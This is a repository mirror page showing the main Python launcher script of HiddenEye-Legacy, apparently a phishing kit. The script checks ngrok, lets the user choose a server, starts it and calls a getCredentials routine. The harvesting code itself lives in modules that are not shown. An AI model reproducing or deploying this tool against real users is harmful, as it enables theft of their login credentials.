mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
83a738b3f8
New - Full Russian Translation New - Change language using Settings.ini
37 lines
772 B
Python
37 lines
772 B
Python
#!/usr/bin/python3
|
|
#
|
|
#HiddenEye by Open Source Community
|
|
#
|
|
import multiprocessing
|
|
import gettext
|
|
from Defs.Checks import *
|
|
from Defs.Configurations import *
|
|
from Defs.Actions import *
|
|
from Defs.Languages import *
|
|
#ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru'])
|
|
#ru.install()
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
|
|
|
checkAndSetLanguage()
|
|
checkConnection()
|
|
checkNgrok()
|
|
|
|
ifSettingsNotExists()
|
|
readConfig()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
runMainMenu()
|
|
|
|
inputCustom()
|
|
##############
|
|
selectServer()
|
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
getCredentials()
|
|
|
|
except KeyboardInterrupt:
|
|
endMessage()
|
|
exit(0)
|